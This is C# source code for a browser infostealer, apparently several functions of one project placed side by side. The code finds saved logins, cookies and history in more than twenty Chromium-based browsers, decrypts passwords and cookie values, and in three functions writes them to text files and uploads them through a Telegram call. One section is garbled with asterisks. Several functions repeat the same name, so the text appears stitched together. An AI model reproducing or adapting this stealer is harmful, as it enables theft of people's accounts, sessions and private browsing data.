// Return list with arrays (hostname, usesrname, password)
public static List <Dictionary <string, string> > get()
{
// Path info
string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string u_s = "\\User Data\\Default\\Login Data";
// Browsers list
string[] chromiumBasedBrowsers = new string[]
{
l_a + "Google\\Chrome" + u_s,
l_a + "Google(x86)\\Chrome" + u_s,
l_a + "Chromium" + u_s,
a_a + "Opera Software\\Opera Stable\\Login Data",
l_a + "BraveSoftware\\Brave-Browser" + u_s,
l_a + "Epic Privacy Browser" + u_s,
l_a + "Amigo" + u_s,
l_a + "Vivaldi" + u_s,
l_a + "Orbitum" + u_s,
l_a + "Mail.Ru\\Atom" + u_s,
l_a + "Kometa" + u_s,
l_a + "Comodo\\Dragon" + u_s,
l_a + "Torch" + u_s,
l_a + "Comodo" + u_s,
l_a + "Slimjet" + u_s,
l_a + "360Browser\\Browser" + u_s,
l_a + "Maxthon3" + u_s,
l_a + "K-Melon" + u_s,
l_a + "Sputnik\\Sputnik" + u_s,
l_a + "Nichrome" + u_s,
l_a + "CocCoc\\Browser" + u_s,
l_a + "uCozMedia\\Uran" + u_s,
l_a + "Chromodo" + u_s,
l_a + "Yandex\\YandexBrowser" + u_s
};
List <Dictionary <string, string> > passwords = new List <Dictionary <string, string> >();
// Database
string tempDatabaseLocation = "";
// Search all browsers
foreach (string browser in chromiumBasedBrowsers)
{
if (File.Exists(browser))
{
tempDatabaseLocation = Environment.GetEnvironmentVariable("temp") + "\\browserPasswords";
if (File.Exists(tempDatabaseLocation))
{
File.Delete(tempDatabaseLocation);
}
File.Copy(browser, tempDatabaseLocation);
}
else
{
continue;
}
// Read chrome database
cSQLite sSQLite = new cSQLite(tempDatabaseLocation);
sSQLite.ReadTable("logins");
for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
// Get data from database
string hostname = sSQLite.GetValue(i, 0);
string username = sSQLite.GetValue(i, 3);
string password = sSQLite.GetValue(i, 5);
// If no data => break
if (string.IsNullOrEmpty(password))
{
break;
}
// Show credentials
Dictionary <string, string> credentials = new Dictionary <string, string>
{
["hostname"] = hostname,
["username"] = Crypt.toUTF8(username),
["password"] = Crypt.toUTF8(Crypt.decryptChrome(password, browser))
};
passwords.Add(credentials);
continue;
}
continue;
}
return(passwords);
}
// Return list with arrays (url, title, visits, time)
public static List <Dictionary <string, string> > get()
{
// Path info
string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string u_s = "\\User Data\\Default\\History";
// Browsers list
string[] chromiumBasedBrowsers = new string[]
{
l_a + "Google\\Chrome" + u_s,
l_a + "Google(x86)\\Chrome" + u_s,
l_a + "Chromium" + u_s,
a_a + "Opera Software\\Opera Stable\\History",
l_a + "BraveSoftware\\Brave-Browser" + u_s,
l_a + "Epic Privacy Browser" + u_s,
l_a + "Amigo" + u_s,
l_a + "Vivaldi" + u_s,
l_a + "Orbitum" + u_s,
l_a + "Mail.Ru\\Atom" + u_s,
l_a + "Kometa" + u_s,
l_a + "Comodo\\Dragon" + u_s,
l_a + "Torch" + u_s,
l_a + "Comodo" + u_s,
l_a + "Slimjet" + u_s,
l_a + "360Browser\\Browser" + u_s,
l_a + "Maxthon3" + u_s,
l_a + "K-Melon" + u_s,
l_a + "Sputnik\\Sputnik" + u_s,
l_a + "Nichrome" + u_s,
l_a + "CocCoc\\Browser" + u_s,
l_a + "uCozMedia\\Uran" + u_s,
l_a + "Chromodo" + u_s,
l_a + "Yandex\\YandexBrowser" + u_s
};
List <Dictionary <string, string> > historys = new List <Dictionary <string, string> >();
// Database
string tempHistoryLocation = "";
// Search all browsers
foreach (string browser in chromiumBasedBrowsers)
{
if (File.Exists(browser))
{
tempHistoryLocation = Environment.GetEnvironmentVariable("temp") + "\\browserHistory";
if (File.Exists(tempHistoryLocation))
{
File.Delete(tempHistoryLocation);
}
File.Copy(browser, tempHistoryLocation);
}
else
{
continue;
}
// Read chrome database
cSQLite sSQLite = new cSQLite(tempHistoryLocation);
sSQLite.ReadTable("urls");
for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
// Get data from database
string url = Convert.ToString(sSQLite.GetValue(i, 1));
string title = Convert.ToString(sSQLite.GetValue(i, 2));
string visits = Convert.ToString(Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1);
string time = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));
// If no data => break
if (string.IsNullOrEmpty(url))
{
break;
}
Dictionary <string, string> credentials = new Dictionary <string, string>
{
["url"] = url,
["title"] = Crypt.toUTF8(title),
["visits"] = visits,
["time"] = time
};
historys.Add(credentials);
continue;
}
continue;
}
return(historys);
}
public static void get()
{
// loadDlls
AutoStealer.loadDlls();
// Path info
string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string u_s = "\\User Data\\Default\\History";
// Browsers list
string[] chromiumBasedBrowsers = new string[]
{
l_a + "Google\\Chrome" + u_s,
l_a + "Google(x86)\\Chrome" + u_s,
l_a + "Chromium" + u_s,
a_a + "Opera Software\\Opera Stable\\History",
l_a + "BraveSoftware\\Brave-Browser" + u_s,
l_a + "Epic Privacy Browser" + u_s,
l_a + "Amigo" + u_s,
l_a + "Vivaldi" + u_s,
l_a + "Orbitum" + u_s,
l_a + "Mail.Ru\\Atom" + u_s,
l_a + "Kometa" + u_s,
l_a + "Comodo\\Dragon" + u_s,
l_a + "Torch" + u_s,
l_a + "Comodo" + u_s,
l_a + "Slimjet" + u_s,
l_a + "360Browser\\Browser" + u_s,
l_a + "Maxthon3" + u_s,
l_a + "K-Melon" + u_s,
l_a + "Sputnik\\Sputnik" + u_s,
l_a + "Nichrome" + u_s,
l_a + "CocCoc\\Browser" + u_s,
l_a + "uCozMedia\\Uran" + u_s,
l_a + "Chromodo" + u_s,
l_a + "Yandex\\YandexBrowser" + u_s
};
// Database
string tempHistoryLocation = "";
string filename = "history.txt";
string output = "[HISTORY]\n\n";
// Search all browsers
foreach (string browser in chromiumBasedBrowsers)
{
if (File.Exists(browser))
{
tempHistoryLocation = Environment.GetEnvironmentVariable("temp") + "\\browserHistory";
if (File.Exists(tempHistoryLocation))
{
File.Delete(tempHistoryLocation);
}
File.Copy(browser, tempHistoryLocation);
}
else
{
continue;
}
// Read chrome database
cSQLite sSQLite = new cSQLite(tempHistoryLocation);
sSQLite.ReadTable("urls");
for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
// Get data from database
string url = Convert.ToString(sSQLite.GetValue(i, 1));
string title = Convert.ToString(sSQLite.GetValue(i, 2));
string visits = Convert.ToString(Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1);
string time = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));
// If no data => break
if (string.IsNullOrEmpty(url))
{
break;
}
// Add
output += "URL: " + url + "\n"
+ "TITLE: " + Crypt.toUTF8(title) + "\n"
+ "VISITS: " + visits + "\n"
+ "DATE: " + time + "\n"
+ "\n";
continue;
}
continue;
}
// Send
File.WriteAllText(filename, output);
telegram.UploadFile(filename, true);
}
public static void get()
{
// loadDlls
AutoStealer.loadDlls();
// Path info
string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string u_s = "\\User Data\\Default\\Cookies";
// Browsers list
string[] chromiumBasedBrowsers = new string[]
{
l_a + "Google\\Chrome" + u_s,
l_a + "Google(x86)\\Chrome" + u_s,
l_a + "Chromium" + u_s,
a_a + "Opera Software\\Opera Stable\\Cookies",
l_a + "BraveSoftware\\Brave-Browser" + u_s,
l_a + "Epic Privacy Browser" + u_s,
l_a + "Amigo" + u_s,
l_a + "Vivaldi" + u_s,
l_a + "Orbitum" + u_s,
l_a + "Mail.Ru\\Atom" + u_s,
l_a + "Kometa" + u_s,
l_a + "Comodo\\Dragon" + u_s,
l_a + "Torch" + u_s,
l_a + "Comodo" + u_s,
l_a + "Slimjet" + u_s,
l_a + "360Browser\\Browser" + u_s,
l_a + "Maxthon3" + u_s,
l_a + "K-Melon" + u_s,
l_a + "Sputnik\\Sputnik" + u_s,
l_a + "Nichrome" + u_s,
l_a + "CocCoc\\Browser" + u_s,
l_a + "uCozMedia\\Uran" + u_s,
l_a + "Chromodo" + u_s,
l_a + "Yandex\\YandexBrowser" + u_s
};
// Database
string tempCookieLocation = "";
string filename = "cookies.txt";
string output = "[COOKIES]\n\n";
// Search all browsers
foreach (string browser in chromiumBasedBrowsers)
{
if (File.Exists(browser))
{
tempCookieLocation = Environment.GetEnvironmentVariable("temp") + "\\browserCookies";
if (File.Exists(tempCookieLocation))
{
File.Delete(tempCookieLocation);
}
File.Copy(browser, tempCookieLocation);
}
else
{
continue;
}
// Read chrome database
cSQLite sSQLite = new cSQLite(tempCookieLocation);
sSQLite.ReadTable("cookies");
for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
// Get data from database
string value = sSQLite.GetValue(i, 12);
string hostKey = sSQLite.GetValue(i, 1);
string name = sSQLite.GetValue(i, 2);
string path = sSQLite.GetValue(i, 4);
string expires = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));
string isSecure = sSQLite.GetValue(i, 6).ToUpper();
// If no data => break
if (string.IsNullOrEmpty(name))
{
break;
}
// Add
output += "VALUE: " + Crypt.toUTF8(Crypt.decryptChrome(value, browser)) + "\n"
+ "HOST: " + hostKey + "\n"
+ "NAME: " + Crypt.toUTF8(name) + "\n"
+ "PATH: " + path + "\n"
+ "EXPIRE: " + expires + "\n"
+ "SECURE: " + isSecure + "\n"
+ "\n";
continue;
}
continue;
}
// Send
File.WriteAllText(filename, output);
telegram.UploadFile(filename, true);
}
public static void get()
{
// loadDlls
AutoStealer.loadDlls();
// Path info
string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string u_s = "\\User Data\\Default\\Login Data";
// Browsers list
string[] chromiumBasedBrowsers = new string[]
{
l_a + "Google\\Chrome" + u_s,
l_a + "Google(x86)\\Chrome" + u_s,
l_a + "Chromium" + u_s,
a_a + "Opera Software\\Opera Stable\\Login Data",
l_a + "BraveSoftware\\Brave-Browser" + u_s,
l_a + "Epic Privacy Browser" + u_s,
l_a + "Amigo" + u_s,
l_a + "Vivaldi" + u_s,
l_a + "Orbitum" + u_s,
l_a + "Mail.Ru\\Atom" + u_s,
l_a + "Kometa" + u_s,
l_a + "Comodo\\Dragon" + u_s,
l_a + "Torch" + u_s,
l_a + "Comodo" + u_s,
l_a + "Slimjet" + u_s,
l_a + "360Browser\\Browser" + u_s,
l_a + "Maxthon3" + u_s,
l_a + "K-Melon" + u_s,
l_a + "Sputnik\\Sputnik" + u_s,
l_a + "Nichrome" + u_s,
l_a + "CocCoc\\Browser" + u_s,
l_a + "uCozMedia\\Uran" + u_s,
l_a + "Chromodo" + u_s,
l_a + "Yandex\\YandexBrowser" + u_s
};
// Database
string tempDatabaseLocation = "";
string filename = "passwords.txt";
string output = "[PASSWORDS]\n\n";
// Search all browsers
foreach (string browser in chromiumBasedBrowsers)
{
if (File.Exists(browser))
{
tempDatabaseLocation = Environment.GetEnvironmentVariable("temp") + "\\browserPasswords";
if (File.Exists(tempDatabaseLocation))
{
File.Delete(tempDatabaseLocation);
}
File.Copy(browser, tempDatabaseLocation);
}
else
{
continue;
}
// Read chrome database
cSQLite sSQLite = new cSQLite(tempDatabaseLocation);
sSQLite.ReadTable("logins");
for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
// Get data from database
string hostname = sSQLite.GetValue(i, 0);
string username = sSQLite.GetValue(i, 3);
string password = sSQLite.GetValue(i, 5);
// If no data => break
if (string.IsNullOrEmpty(password))
{
break;
}
// Add
output += "HOSTNAME: " + hostname + "\n"
+ "USERNAME: "******"\n"
+ "PASSWORD: "******"\n"
+ "\n";
continue;
}
continue;
}
// Send
File.WriteAllText(filename, output);
telegram.UploadFile(filename, true);
}
// Return list with arrays (value, hostKey, name, path, expires, isSecure)
public static List <Dictionary <string, string> > get()
{
// Path info
string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string u_s = "\\User Data\\Default\\Cookies";
// Browsers list
string[] chromiumBasedBrowsers = new string[]
{
l_a + "Google\\Chrome" + u_s,
l_a + "Google(x86)\\Chrome" + u_s,
l_a + "Chromium" + u_s,
a_a + "Opera Software\\Opera Stable\\Cookies",
l_a + "BraveSoftware\\Brave-Browser" + u_s,
l_a + "Epic Privacy Browser" + u_s,
l_a + "Amigo" + u_s,
l_a + "Vivaldi" + u_s,
l_a + "Orbitum" + u_s,
l_a + "Mail.Ru\\Atom" + u_s,
l_a + "Kometa" + u_s,
l_a + "Comodo\\Dragon" + u_s,
l_a + "Torch" + u_s,
l_a + "Comodo" + u_s,
l_a + "Slimjet" + u_s,
l_a + "360Browser\\Browser" + u_s,
l_a + "Maxthon3" + u_s,
l_a + "K-Melon" + u_s,
l_a + "Sputnik\\Sputnik" + u_s,
l_a + "Nichrome" + u_s,
l_a + "CocCoc\\Browser" + u_s,
l_a + "uCozMedia\\Uran" + u_s,
l_a + "Chromodo" + u_s,
l_a + "Yandex\\YandexBrowser" + u_s
};
List <Dictionary <string, string> > cookies = new List <Dictionary <string, string> >();
// Database
string tempCookieLocation = "";
// Search all browsers
foreach (string browser in chromiumBasedBrowsers)
{
if (File.Exists(browser))
{
tempCookieLocation = Environment.GetEnvironmentVariable("temp") + "\\browserCookies";
if (File.Exists(tempCookieLocation))
{
File.Delete(tempCookieLocation);
}
File.Copy(browser, tempCookieLocation);
}
else
{
continue;
}
// Read chrome database
cSQLite sSQLite = new cSQLite(tempCookieLocation);
sSQLite.ReadTable("cookies");
for (int i = 0; i < sSQLite.GetRowCount(); i++)
{
// Get data from database
string value = sSQLite.GetValue(i, 12);
string hostKey = sSQLite.GetValue(i, 1);
string name = sSQLite.GetValue(i, 2);
string path = sSQLite.GetValue(i, 4);
string expires = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local));
string isSecure = sSQLite.GetValue(i, 6).ToUpper();
// If no data => break
if (string.IsNullOrEmpty(name))
{
break;
}
Dictionary <string, string> credentials = new Dictionary <string, string>
{
["value"] = Crypt.toUTF8(Crypt.decryptChrome(value, browser)),
["hostKey"] = hostKey,
["name"] = Crypt.toUTF8(name),
["path"] = path,
["expires"] = expires,
["isSecure"] = isSecure
};
cookies.Add(credentials);
continue;
}
continue;
}
return(cookies);
}